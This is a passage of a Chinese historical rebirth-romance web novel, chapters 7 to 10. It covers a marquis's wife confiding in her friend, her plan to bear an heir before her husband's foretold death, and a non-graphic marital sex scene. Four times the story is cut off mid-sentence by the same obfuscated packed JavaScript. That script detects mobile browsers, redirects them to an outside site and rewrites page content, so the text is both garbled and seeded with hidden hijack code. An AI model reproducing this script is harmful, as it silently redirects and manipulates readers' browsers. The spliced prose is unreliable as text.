辛卿卿早就想跟邵婉淑说自己的丈夫了,可她知道邵婉淑最重规矩,认为女子要以夫为纲。上次她同她说时,她虽没怎么反驳她,但言语间也能听出来不赞同。她怕破坏两人的关系,憋了一天没说。此刻实在是忍不住了,开始念叨起来。 “他就是个闷葫芦,整日说不了几个字,问他一句他答一句,很少主动同我说话。每日回府就去书房里看卷宗,有时半夜睡着觉突然起来去看卷宗,一看看一宿,也不知道那些卷宗有什么好看的……” “你都不知道他有多讨厌!早上不到卯时就起床,还要把我叫起来,我若不起,他定要念叨,嫌我晚上睡太晚,烦得要死……我又不用上朝,起那么早作甚?” “他母亲就更讨厌了,天天念叨着让我生孩子,我偏不生,我走了看他跟谁生去……” 辛卿卿足足说了两刻钟才停了下来。她这才发现邵婉淑这次竟然没有打断她,也没有反驳她。见邵婉淑没说她,辛卿卿小心翼翼侧头看向邵婉淑,“阿淑,你是不是觉得我说的不对?” 邵婉淑却一改之前的态度,说道:“不爱说话确实挺讨人厌的,这样的话你也不知道自己到底做的对不对,有时候还会惹他不高兴,也不知道自己错在哪里。” 裴行舟就是这样的人,她永远猜不到他在想什么。 辛卿卿眼前一亮:“阿淑,你说得对!就是这样,他也是如此,我都不知道哪里哪里惹他不高兴了,他还给我摆脸子。” 邵婉淑:“早起就更令人厌烦了,卯时天尚未亮,起来也无事可做,冬日时还特别冷,不如多睡会儿。” 她从前每日都起得特别早,裴行舟在的时候服侍他上朝,他不在内宅,她也会早起,去给婆母请安。每日都给自己安排了一大堆无聊的事情。看似把日子填得很满,实则是自己瞎忙活。 活得挺累的。 辛卿卿:“对对,我又不用管家,白日里没什么事儿,起来作甚?怪无聊的。” 邵婉淑:“至于生孩子……” 姜老夫人也催过她。 邵婉淑顿了顿,道:“孩子是父母的缘分,也不是想要就能来的,强求无用。” 辛卿卿抱住了邵婉淑:“阿淑,还是你理解我。” 她又抱着邵婉淑说了许多话,等她说尽兴了,想到了什么,问道:“阿淑,你如今日子过得如何?” 邵婉淑:“挺好的。” 辛卿卿:“可我怎么觉得你如今变了许多,可是在定南侯府过得不自在?” 邵婉淑一时没答。 辛卿卿想到了定南侯府的那些事儿,道:“我应该想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929606|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的,定南侯是个冷性子的,比我家那位还要冷。都说他不近女色,想来也不体贴。侯府又宠二房,还让二房管家,想必你日子也是难熬。对不起,我刚刚还跟你抱怨那么多。” 看着辛卿卿眼里的心疼,邵婉淑本想说没事,可那些压在心里的东西沉甸甸的,压得她每晚都在做噩梦,她也想找个人倾诉出来。 “我脸色不好是因为最近做了一个梦,时常从梦中惊醒。” 辛卿卿:“什么梦?” 邵婉淑把自己前世的遭遇当做梦说了出来。 “……我梦到裴行舟死在了战场上,有一个大着肚子的女人找上门来说肚子里怀了他的孩子,裴家人逼着我认下,我不肯认,我爹便拿着白绫勒死了我。” 辛卿卿瞪大了眼睛。 “阿淑,你怎会做这样的梦,太吓人了。” 邵婉淑扯了扯嘴角,的确挺吓人的,可这些便是她的前世。 辛卿卿很想说这些事都是假的,可想到裴行舟的身份,以及邵侍郎的性格,她又沉默了。但她不能顺着邵婉淑的话说下去,她得让她从噩梦中走出来,她正要开口安慰,邵婉淑又继续开口了。 “我明知是假的,可如今我一想到裴行舟去打仗时还让别的女子怀了孩子我就觉得不舒服。一想到父亲拿白绫勒死我,我便不想再回娘家。” 辛卿卿担忧地道:“阿淑,你不能这样想,这些都是梦,都是假的。” 邵婉淑看着辛卿卿的眼睛,平静地道:“倘若这些事有一日真的会发生呢?” 辛卿卿觉得哪里有些不对劲儿,阿淑一向是个较真的性子,做事十分严谨,也不喜欢开玩笑,今日却说了这样一件离谱的事,看来这件事对她影响很深。 她眼珠子一转,索性顺着邵婉淑的话问道:“你梦里的这些事是何时发生的?” 邵婉淑:“三年后。” 辛卿卿:“这三年你可有身孕?” 邵婉淑:“没有。” 辛卿卿:“定南侯可有别的女人?” 邵婉淑:“应该没有。” 前世她安排阿梅打听前院的消息,从未听说过他有别的女人。 辛卿卿:“所以,你觉得不舒服是因为定南侯碰了别的女人还是因为那个女人有可能怀了定南侯的庶长子?” 卿卿果然很了解她,邵婉淑果断道:“因为她怀了定南侯的孩子。” 辛卿卿:“你想过和定南侯和离吗?” 邵婉淑:“没有。” 辛卿卿:“为什么?” 邵婉淑苦笑一声:“你知道的,我和裴行舟是皇上赐的婚,这辈子都不可能和离的。” 辛卿卿:“假如可以和离呢,你想不想和离?” 邵婉淑仔细想了想这个问题,道:“天下的男子都一样,旁人也未必比裴行舟做得更好。” 这些豪门世家哪个身边不养着几个妾侍,老侯爷对婆母再好,府中依旧有两个庶出的子女。文德侯府就更不用说了,一大堆的庶子庶女。相比较而言,裴行舟算是稍好一些的。 辛卿卿突然笑了。 “阿淑,我觉得你想岔了。” 邵婉淑不解。 辛卿卿:“既然你不想同定南侯和离,那不如在他死之前赶紧怀个孩子。他这三年都没有别的女人,至少现在还是干净的。等他死了之后,你的孩子就是侯爷了,整个侯府都是你的。管他什么庶子庶女,谁都越不过你去,还不是你想怎么收拾就怎么收拾。对你不忠心又难伺候的丈夫死了,你还能拿走他所有的家产,到时候你想干什么就干什么,还有比这更爽的事吗?” 邵婉淑:??? 8. 第 8 章 邵婉淑从小受礼教长大,熟读《女诫》《内训》等书籍,恪守三纲五常。如今重活一世,幡然醒悟,决心不再一味地听从父亲的安排,也不再以夫为天日日伺候他,她要为自己而活。这些日子她感觉松快了许多,自在了许多。 可,她也从未这般想过。 辛卿卿的话如平地一声惊雷,让她的内心受到了极大的震颤。她张了张口想反驳。 辛卿卿却觉得自己的主意好极了。若阿淑方才还像以往一样劝她听丈夫的话,她定不会跟她说出来这样的话。可她能隐隐感觉到阿淑变了,她不再一味地听从邵侍郎和定南侯的安排。 “你先别反驳,你是个聪明人,仔细想想我说的对不对,有没有道理。” 邵婉淑闭了嘴。 这几日她脑子很乱,一时没想好如何面对裴行舟。她不可能永远拒绝裴行舟。而她和裴行舟是的婚姻是御赐的,除非她死,否则也不可能和离。裴行舟早晚会有别的女人,她们也会像莲娘一样生庶子。将来她就是府里的老夫人,她无儿无女,也没人会把她当回事。将来裴行舟死了,她还是有可能被父亲逼着为他殉葬。 若是有个孩子的话…… 邵婉淑顺着辛卿卿的话想了想。若她真的生了儿子,那就是裴行舟的嫡长子。等三年后裴行舟死了,莲娘再登门也没用,爵位一定是她儿子的。有了儿子,父亲也不敢逼她殉葬了。这样一来她就摆脱前世的命运了。 与其孤老一生,倒不如生个儿子,把定南侯府牢牢掌握在自己手中。 邵婉淑平静的心砰砰砰跳了起来,她看向辛卿卿。 辛卿卿知道她想明白了。 邵婉淑:“这会不会太……” 大逆不道,离经叛道。 “会不会太完美了?”辛卿卿肯定地点头,“是的,非常完美。” 邵婉淑抿了抿唇。 辛卿卿突然凑近了邵婉淑,在她耳边低声道:“定南侯长相英俊,又是个武将,你难道就不想吗?” 真是越说越离谱了。 邵婉淑瞬间就听懂了辛卿卿的意思,她脸色微微一红,震惊地看向辛卿卿。 辛卿卿:“害什么羞啊?从前你没成亲,我不好意思跟你说这些。你都成亲了,还害羞个什么劲儿?” 邵婉淑脸羞得通红,这种私密之事怎好拿出来说?也太令人羞耻了。 辛卿卿碰了碰邵婉淑的肩膀,道:“你别不好意思了,你再这样下去还怎么生孩子,怎么得到侯府?你难道想眼睁睁看着那个叫什么莲娘的霸占侯府吗?” 闻言,想到前世莲娘得意的模样,邵婉淑没再这般抗拒了,但她也没说什么。 辛卿卿:“你不会真的不想吧?” 邵婉淑抿了抿唇。其实,她没敢跟任何人说过,在裴行舟去战场的那一年,她偶尔也会梦到他。每次醒来都为此感到羞耻,觉得自己不正经,不像个大家闺秀。 辛卿卿误会了,突然道:“定南侯不会没什么经验吧?也对,他一向不近女色,也没听说他去那些风月场所。不过你别担心,时间长了就好了。” 顾云彦一开始也跟个愣头青似的,后来好多了。想起顾云彦,她好像有点想他了……一想到他的所作所为,她又狠了狠心,不行,日子还长着呢,她必须把他的臭毛病改过来! 邵婉淑脸更红了,还真让辛卿卿说对了,刚成亲那会儿裴行舟确实没什么经验,她挺难受的,后来就好多了,但那种事一直让人挺不舒服的。 她忍不住应了一声。 辛卿卿本以为这种问题阿淑不会回答的,没想到她竟然听到她应声了,她顿时大喜,感觉跟阿淑的关系更近了。 “我跟你说,这种事你也得主动些,不然受苦的还是你自个儿……” 辛卿卿又凑近了些,两人凑到一起咬耳朵。有时邵婉淑只脸红不答,辛卿卿却已经很惊喜了。这些话她也无处可说,但又有自己的困惑和烦恼,如今终于有人能跟她交流了。 两人在屋顶待到半夜,天渐渐亮了,俩人又去了屋里继续聊。 说着说着便又说起了邵侍郎。 辛卿卿:“你爹的话早就不该听了,我说句实话你也别不高兴,你爹就是个老顽固,不近人情。” 邵侍郎可没给过她好脸色,还阻止阿淑见她,她就没见过这样的父亲。 邵婉淑:“你说得对。” 父亲何止不近人情,而是冷血无情,亲手杀死自己的亲生女儿。 辛卿卿得到回应,又继续说起了邵侍郎的不是,若不是顾着邵侍郎是邵婉淑的亲生父亲,她早就破口大骂了。 说完邵侍郎又说起了各自的婆母。 一直聊到东边泛起了鱼肚白两人才牵着手睡着了。 醒过来后,两人相视一笑。 辛卿卿:“阿淑,你终于清醒了,以后我也能有个说话的人了。我娘劝我要听婆母的话,我阿姐也劝我要听丈夫的话,可我谁的话都不想听,我只想自己开心地活着。” 邵婉淑:“对,别人都不重要,自己开心的活着才是最重要的。” 辛卿卿乐呵呵地笑了起来。 傍晚,门房来报,顾云彦来了。 邵婉淑看向辛卿卿。 辛卿卿虽然面上没说什么,邵婉淑却能察觉到她心情不错。 “让他进来吧。” 顾云彦进来后,见邵婉淑也在,恭敬地朝着她行礼:“见过侯夫人。” 邵婉淑:“顾侍郎多礼了,你和卿卿聊吧。” 辛卿卿一把抓住她:“你坐下,我跟他没什么好聊的。” 邵婉淑:“你不是饿了么,也快该吃晚饭了,我去厨房瞧一瞧,马上就回来。” 辛卿卿抿了抿唇,还是放邵婉淑走了。 不知二人聊了什么,等吃晚饭时,辛卿卿看顾云彦已经没那么多的敌意了。 当晚,辛卿卿还是没跟顾云彦回去,她和邵婉淑睡在了一处,俩人又聊到半夜。 天不亮,顾云彦就去上朝了。 同僚见他风尘仆仆,问了一句:“顾大人,你昨晚没睡么,怎么这般疲惫?” 顾云彦:“早上刚从景山回来。” 同僚惊讶地看向他:“这么远!那你丑时就得起了?” 这一趟得一个时辰。 顾云彦:“差不多。” 一旁路过的裴行舟朝着这边瞥了一眼,他记得邵婉淑是陪着顾云彦的夫人去的景山。 顾云彦没注意裴行舟在看他,正悄悄打着哈欠。 傍晚,裴行舟刚回到府中便被姜老夫人叫去了祥和院中。 “儿子见过母亲。” 姜老夫人仔细打量着儿子,她已经快十日没见到儿子了,虽同在一个府中,母子二人却很少见面。 裴行舟只有初一十五才会回韶华院,同样的,他也只有这两日才会去祥和院。其余时候,他不会踏入内宅半步,也就前几日破了例。 姜老夫人:“你这几日是不是没睡好,我怎么瞧着你瘦了些。” 裴行舟:“劳母亲挂心,儿子一切都好。” 姜老夫人早已习惯了儿子公事公办的模样,但同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929607|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她也渴望儿子能与她再亲近一些。那时没能带着儿子一同回京,她很难受。可那一路十分艰险,倘若她真的带上了儿子,他也活不成。都是她这个做母亲的无能,无法护儿子周全。 一杯茶下肚,裴行舟站起身来:“母亲若无事,儿子便回前院去处理公务了。” 姜老夫人连忙道:“你媳妇儿离家也有三日了,你去接她回来吧。” 裴行舟有些不解。邵婉淑离家不过三日,为何要接她回来。她若想回来,自然就回来了。 前院还有许多公务要处理,他委实抽不开身。 “让家里的管事和嬷嬷去吧。” 姜老夫人见儿子最近频频回内宅,还以为儿子和儿媳的关系有所改变。见儿媳这几日没回来,她察觉到一丝不对。她找人打听了一下,原来前几日儿子虽然宿在了韶华院,但他跟儿媳什么都没发生。她有意缓和二人的关系,便道:“还是你去吧,我听说顾侍郎昨日亲自去的,你这样做方显诚意。况且你们二人是皇上赐婚,宫里都看着呢。” 裴行舟想了想,答应下来:“好。” 从主屋出来,裴行舟一边走一边吩咐青云:“准备一辆马车,将今日没有处理完的公务带上。” 青云:“是。” 今日公务比较多,裴行舟上了马车后就开始处理。 一个时辰后,马车到了景山文德侯府的别院。 青云:“侯爷,公务要拿下来吗?” 裴行舟:“不必,一会儿便回去。” 青云:“是。” 顾云彦今日又来了,今日他承诺以后不再逼着辛卿卿早起,辛卿卿态度软和下来,她决定明日回去。此刻他们刚吃完饭,邵婉淑和辛卿卿在院子里散步,顾云彦去处理案宗了。 听门房说裴行舟来了,二人都十分惊讶。 辛卿卿:“看来你家侯爷也没你说的那般冷漠。” 邵婉淑也觉得十分诧异,在裴行舟心中公务最重,他绝不破例。 不多时,裴行舟进来了。 一进来,他的目光落在了邵婉淑身上。不知是不是山里的空气好,她脸色好看了许多,眼底虽然还有些青黑,但整个人舒展了些。 辛卿卿注意到了裴行舟的目光,越发觉得定南侯不似传闻中那般冷。 “见过侯爷。”二人朝着裴行舟行礼。 裴行舟客气又疏离道:“辛夫人。” 辛卿卿识趣地离开了。 邵婉淑:“侯爷怎么突然过来了,府里有事?” 裴行舟:“没事,母亲不放心你,我过来看看。” 邵婉淑:“让母亲挂心了,我挺好的。” 裴行舟:“这几日可有再做噩梦?” 邵婉淑:“没有。” 她这几日睡得很晚,困极了才睡,倒头就睡着了,竟一夜无梦。虽然睡得晚,但因为没有做噩梦,所以她感觉舒服多了。 时辰也不早了,她提醒了一句:“回去的时注意安全,夜深了,山路不好走。” 裴行舟眉头微皱一下,沉声问:“夫人今日不回府?” 邵婉淑察觉到了裴行舟的不悦,她若没猜错的话,他今日应当是特意来接她的,但还是道:“我跟卿卿约好了,明日再走。” 裴行舟沉默许久不说话。 邵婉淑见他不走,以为他今日打算留下,道:“你若不回去我跟卿卿说一声为你收拾客房。” 裴行舟顿了顿,道:“嗯。” 青云诧异地看了侯爷一眼,又快速收回,转身默默去马车上搬公务了。 9. 第 9 章 顾云彦正认真看着卷宗,突然听到了自家夫人的声音,连忙起身朝着外面走去。 “夫人,你来了。” 声音里带着几分欣喜。 辛卿卿:“去和你的卷宗过吧。” 吃过饭就不见人了,一心只想着公务。 顾云彦:“夫人……” 方才他想陪着夫人,是夫人嫌他碍事,不愿让他听她和侯夫人的谈话,将他撵走的。他无事可做,便又继续看起了卷宗。 辛卿卿:“我是带人来给定南侯收拾客房的,今晚你自己睡。” 顾云彦失望地闭了嘴。 辛卿卿很快就离开了。 不一会儿,裴行舟来了。 顾云彦:“下官见过侯爷。” 裴行舟:“顾侍郎。” 两人打了一声招呼后各自回屋,像是商量好的一样,都处理起公务。 邵婉淑和辛卿卿躺在床上说话,等到子时,听下人说二人几乎同时歇下了,两人对视了一眼。 辛卿卿:“没想到侯爷也这般勤勉。” 邵婉淑:“他一向如此,心中只有公务。” 辛卿卿:“挺好的,比那些一心只想美色的男子强多了。” 邵婉淑知道辛卿卿说的是她父亲文德侯,文德侯府里妾侍无数,生了一大堆庶子庶女。辛卿卿嫁人只有一个条件,不许纳妾。世家贵族的男子一般是做不到的,所以她嫁了寒门出身的顾云彦。 邵婉淑:“只想美色的男子也比狠心伤害女儿的男子强。” 至少文德侯对辛卿卿是真的很疼爱,也不会想着要了她的性命。 想到各自糟糕的父亲,两人同时叹了一口气,随后又聊起了别的事情。 明日就要分开了,辛卿卿还真有点不放心邵婉淑。她日日做噩梦,定是压力太大了。 “我说让你抓紧生个孩子,但你也别太把定南侯当回事儿。” 邵婉淑:“嗯?” 辛卿卿:“男人都是贱骨头,你越把他当回事儿,他对你越冷淡。” 邵婉淑本想说裴行舟不是这样的人,可仔细一想,重生回来,她不理会裴行舟了,裴行舟来内宅的次数反倒是多了起来,也当真是让人不解。 辛卿卿又继续说了起来:“我爹身边有个宠妾就是这样的,她是个良家女,父亲是个秀才,整日一副清冷的样子,不搭理我爹。可我爹要是去找别的小妾,她气得能哭一晚上,第二日又装作无事发生,一副毫不在意的模样。偏偏我爹还就吃她这一套。他那么多小妾,隔三岔五就得去她院里一次。” 邵婉淑:“侯夫人不难过吗?” 辛卿卿:“我娘才不难过,她对我爹没感情。在我小时候,我娘还常常跟我爹闹,不让他纳妾,那时我和哥哥都以为我娘爱慕我爹,替她感到难过。后来才知道她那是怕我爹有了庶子,会跟我哥抢爵位。如今我哥大了,孩子都有了,我娘就不管我爹了。我娘天天盼着我爹死,等他死了,侯府就是我哥的了,她就是府里说一不二的老太太了。” 邵婉淑震惊地看向辛卿卿。 辛卿卿打了个哈欠:“要是你的梦是真的,那还是你运气好,这种不贴心的丈夫很快就死了,你不用熬那么多年。你还年轻,到时候再嫁人,或者不嫁人都行。” 邵婉淑想,怪不得辛卿卿前天晚上跟她说那样的话,原来是因为侯夫人。 突然,辛卿卿靠近了邵婉淑,头埋在她柔软的胸上。 “哼,便宜定南侯了。” 邵婉淑:…… 两人聊着聊着睡着了,一直到了巳时方醒过来。 裴行舟和顾云彦已经吃过饭了,两人似乎很投机,坐在一旁的茶室里说话。 邵婉淑和辛卿卿吃过饭,四人便决定离开了。 临走前,辛卿卿突然扯住了邵婉淑,将她拉去一旁,低声道:“抓点紧啊,别等他死了孩子还没怀上。” 邵婉淑脸色顿时大红。她生怕裴行舟听到了,快速看了他一眼。见他正和顾云彦说话,没注意到这边才安心了些。 两辆马车一前一后朝着京城行去。 上了马车后,裴行舟闭目养神。邵婉淑盯着他看了片刻,也闭上了眼。 裴行舟突然睁开了眼,他倒是没想到她竟然会和性子如此跳脱的辛卿卿是闺中好友,跟辛卿卿在一起时,她似乎活泼了许多。刚刚在马车下还依依不舍地聊着,上了马车就不说话了。 一个时辰左右,马车到了定南侯府,此时也近午时了。 邵婉淑回了内宅休息,裴行舟出门了。 接下来,一连两日邵婉淑都没见到裴行舟。 这日,临睡前,阿桔拿着一件新做好的鹅黄色锦缎衣裳进来了,她耷拉着脸,道:“夫人,您前些日子让绣娘给二姑娘做的衣裳做好了。” 邵婉淑看着阿桔手中的新衣,再看阿桔脸上的神情,一时没想起来是怎么回事。 阿桔忍不住又多嘴说道:“夫人,我瞧着这衣裳颜色挺适合您的。贵妃娘娘送来的锦缎极好,您若是送人岂不是辜负了娘娘的一番美意?” 这可是贵妃娘娘送给夫人的布料,价值连城。二姑娘只是多看了几眼,夫人就立马让人给她做了一身衣裳,夫人自己都舍不得穿呢。二姑娘就是个白眼狼,夫人对她那么好,什么好东西都给他,她还瞧不上他们夫人,给夫人摆架子。她素日里只跟二夫人来往,很少理会他们夫人。 经过阿桔的提醒,邵婉淑隐约想起来是怎么回事了。姑母得了一批进贡的锦缎,让人给她送来了几匹。她见裴明英眼神热切,便打算做好衣裳送给她。结果前世裴明英收到后一句感谢的话都没有,这事儿把阿桔气得不轻,念叨了许久。 阿梨提醒:“可这衣裳是按照二姑娘的尺寸做的,夫人穿的话可能会有些小。” 阿桔看了一眼邵婉淑的神色,见她似乎有些心动,于是提议道:“夫人不如先试试?” 夫人和二姑娘身形差不多,甚至比二姑娘还要瘦一些,只是二姑娘喜欢穿紧一些显身形的衣裳,夫人喜欢穿宽松的衣裳。 邵婉淑盯着面前的衣裳看了许久。 前世,裴行舟去世后,裴明英来她院中大闹了一场,说她把裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929608|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行舟克死了,让她也去死。瞧着她歇斯底里的样子,不知道的会以为她跟裴行舟的关系有多么好。实则兄妹二人的关系很是疏离,裴行舟比她年长几岁,幼时兄妹二人也没有生活在一起。裴行舟去了战场后,婆母想要去寺中为儿子祈福,裴明英以身子不适为由推拒了。她跟裴行凛的关系更好一些。 “试试吧。” 邵婉淑将面前这件鹅黄色的衣裳换上了。换好之后,这次不仅是阿桔,就连阿梨都呆呆地看向她。 “好看吗?” 阿桔盯着邵婉淑鼓起的胸部,咽了咽口水,猛地点头:“好看!” 夫人一向喜欢穿宽大的衣裳,好身段都被遮掩起来。今日瞧着,夫人的身段似乎比之前更丰满了些。 阿梨也附和着点了点头。 邵婉淑去铜镜前看了一眼,镜中的自己像是变了一个人一样。衣裳不再似从前那般宽松肥大,胸前微微鼓起,腰肢也显现出来。这是她第一次穿这样的衣裳,整个人看起来珠圆玉润的,都有些不像她了。 她低头看了看自己的胸,又看了看腰,犹豫地问了一句:“会不会瘦了些?” 阿桔:“不会!我觉得还能再收一些。” 阿梨这次也没再泼冷水,而是冷静地分析:“二夫人和三夫人的衣裳比这个还要紧一些。” 夫人的衣裳一点都不夸张,只不过她从前一直穿的比较宽松,所以对今日显出来身形有些不习惯。 阿桔:“对,尤其是三夫人的,她的外衫都贴在胸上了。可惜她身段没有夫人的好,衣裳贴在胸前也不好看。” 话音刚落阿桔就有些后悔了。她不似阿梨那般稳重,总是忍不住多说话,常常惹的夫人不高兴。 前几日一直跟辛卿卿在一处,邵婉淑听多了这样的话,丝毫没觉得阿桔的话冒失。想到了柳氏平日的打扮,默默点了点头。 “明日就穿这件吧。” 这衣裳有些紧,她觉得不是很舒服。她倒也没多喜欢这件衣裳,只是这衣裳她是不可能再送给裴明英了,自然也不能送给裴温静,这么好的料子不如自己穿。 阿桔顿时松了一口气,真好,今日没被夫人训斥。 邵婉淑又在镜子前看了看,正准备换掉身上的衣裳,一转身,落入一双深邃的眼眸中。 裴行舟何时过来的?他站这里多久了,有没有听到她们的谈话? 阿梨和阿桔连忙朝着裴行舟行礼。 裴行舟一直都知道自己的妻子是个美人。但美则美矣,有些古板严肃,平日里喜欢穿一些宽松的素色棉布衣裳。今日是他第一次见妻子穿锦缎。这件鹅黄色的衣裳衬得她皮肤白皙透亮,将她婀娜的身段勾勒出来。 他的目光在邵婉淑胸前和纤细的腰肢上停留一瞬,又不着痕迹地收了回来,大步向前,撩开衣摆,坐在了榻上。 邵婉淑看了阿桔一眼,两人去了里间换衣裳。 阿梨则是退了出去,沏了一壶新茶,放在了榻上的矮几上,随后默默退了出去。 裴行舟端起茶喝了一口,心里感觉舒畅了一些,味道终于对了。 10. 第 10 章 不一会儿,邵婉淑从里间出来了。 裴行舟抬眸看了她一眼,见她身上的衣裳已经换下来了,穿了件宽松的衣裳。 邵婉淑见裴行舟没走,想到辛卿卿的话,她走了过来,坐在了榻上。 一时间,两个人谁都没说话,就这样一左一右坐着。 裴行舟用完一壶茶,一句话都没说就站起身来朝着外面走去。 见状,邵婉淑愣了一下,很快又反应过来了,心里松一口气。裴行舟走了也好,那种事确实有些让人为难。她吩咐人倒热水沐浴。等沐浴出来,意外地发现裴行舟不知何时竟然又回来了。她只看了裴行舟一眼,什么都没问,坐在梳妆桌前涂膏粉。 裴行舟朝着里间走去。 从铜镜中,邵婉淑看到了裴行舟的身影,她知道他今晚是要留宿了。涂完膏粉后,她上了床,去了里侧躺着。 随着时间的推移,她心里有些忐忑,一面想抓紧怀个孩子将侯府掌控在自己手中,一面又觉得自己这样想是在咒裴行舟死。 裴行舟很快就从里间出来了,熄了灯,躺在了外侧,将床幔拉上了。 光影很快就消失了,取而代之的是黑暗。 邵婉淑感觉自己心跳有些加速,没等她做好心里准备,裴行舟便覆了过来。 今日裴行舟似乎有些急切,炙热的唇很快就重重落在了邵婉淑的唇上,让她呼吸不得。这吻来得又凶又急。邵婉淑许久没跟裴行舟同房,身体很快就有了反应。她死死抓住了身下的床褥,不让自己发出一丝声响,如同前世的每一个夜晚一样,板板正正躺在床上。而如今,她又和前世不同了,她不似前世那般能容忍了,终究还是忍不住嘴里泻出了一些声音。 裴行舟突然停下了动作看向她。 邵婉淑本就十分羞赧,在裴行舟的注视下,脸更是羞得通红,觉得自己做了十分羞耻的事情,她不敢看裴行舟的眼睛,恨不得找个地缝钻进去。 她闭了闭眼,突然又睁开了。前世她都因为他死过一次了,为何还要顾及他的感受死命憋着自己。他不喜欢她这样,便不喜欢吧,大不了不生孩子了,总不能事事委屈自己。 邵婉淑不仅没有收敛,反倒是更放开自己了。 裴行舟却不知怎么了,像是在惩罚她一样,又凶又急。 邵婉淑实在是有些不舒服,抬手掐了裴行舟的腰。 裴行舟恍若未觉,不知疲倦,邵婉淑差点哭出来。 收拾好之后,邵婉淑想到自己刚刚的举动,转身面对墙,背对着裴行舟,死死闭上了眼,不敢再看他。 她今日真的是疯了,她刚刚都干了什么事啊,太不知羞耻了,太孟浪了。她甚至还掐了裴行舟,她怎么能做这样的事。裴行舟刚刚的样子和前世完全不同,像变了个人似的,他一定是被她气疯了。 裴行舟看着邵婉淑身上的痕迹,轻咳一声,哑声道:“抱歉。” 他刚刚委实孟浪了些,没有控制住自己,她好不容易有些回应,可别吓到她了。 邵婉淑怔了一下,瞬间就睁开了眼,裴行舟竟然跟她道歉?他方才不是生她的气了吗? 过了片刻,见邵婉淑仍旧不理他,裴行舟声音又软和了些:“下次我注意。” 邵婉淑心里的不安彻底消散了。 她突然想到了辛卿卿说过的话。难道真的被她说对了,男人都是贱骨头,裴行舟也是?她越不理他,他越上赶着来。她越打他,他越觉得自己有错? 她学着裴行舟的样子,冷淡应了一声:“嗯。” 听到这一声回答,裴行舟终于放心了。他扯了扯邵婉淑身上的被子,道:“别憋坏了。” 听着裴行舟温和的声音,邵婉淑越发觉得辛卿卿的话是对的,她松开了盖在头上的被子,但始终没看裴行舟一眼。 裴行舟:“睡吧。” 邵婉淑放心地闭上了眼,很快就睡着了。 昨晚有些累,第二日邵婉淑起得晚了些,她去祥和院时众人已经全都到了。 众人站起身来给邵婉淑行礼,邵婉淑并未理会,径直走到姜老夫人面前给她行礼。 “儿媳见过母亲。” 姜老夫人最近很是关心韶华院,已经得知了昨晚的事,她很是开心。 “好好,快坐快坐。” 邵婉淑落座,这才看向众人,众人依旧站着。经过这一段时间的相处,如今大家已经不会直接坐下了。 “坐吧。” 杜氏坐下后看了一眼邵婉淑,笑着说:“大嫂今日真是光彩照人,我险些不敢认。” 姜老夫人笑得格外有深意:“这衣裳还是收紧了好看。” 昨夜儿子又去了韶华院中,作为一个过来人,她都不用去打听了,看着儿媳的脸色她就知道昨晚发生了什么。见儿媳今日开始打扮自己了,想必跟儿子相处得不错,说不定很快孙子就来了。 杜氏:“我跟母亲想一处去了。” 柳氏盯着邵婉淑身上的衣裳看了片刻,煞风景地说了一句:“我怎么瞧着大嫂这衣裳料子跟前些日子阿英看中的一样,大嫂不是将料子送给阿英了吗?” 她已经憋了好几日了,今日终于被她抓到邵婉淑的错处了,她定要让她没脸。 屋里顿时一静。 这话就有意思了。那日裴明英见到料子后就表达了对布料的喜欢。邵婉淑见状,的确有意送给她。但当时大姑娘裴温静也在场,料子不够两个人用的。虽说大姑娘是庶出,但她一向顾虑他人,不想大姑娘下不来台,所以并未说要送给裴明英。她想着将布料做成衣裳,把这衣裳给裴明英,然后再找一匹差不多的好料子给裴温静也做一身。 这两件衣裳她都做好了,前世也是今日私下送给了两位妹妹。 邵婉淑静静地看向对面的柳氏,眼底神色意味不明。她这个弟媳还是跟前世一样蠢,自以为能挑拨她和裴明英的关系,却不知她这番话伤害最深的不会是她,而是裴明英。 裴明英那日并未开口要,邵婉淑也没明确开口说要给。柳氏却一下子将裴明英眼馋贵妃娘娘送来的布料的事情挑开了,让裴明英很是没脸。 若是前世,邵婉淑定会开口说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929609|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 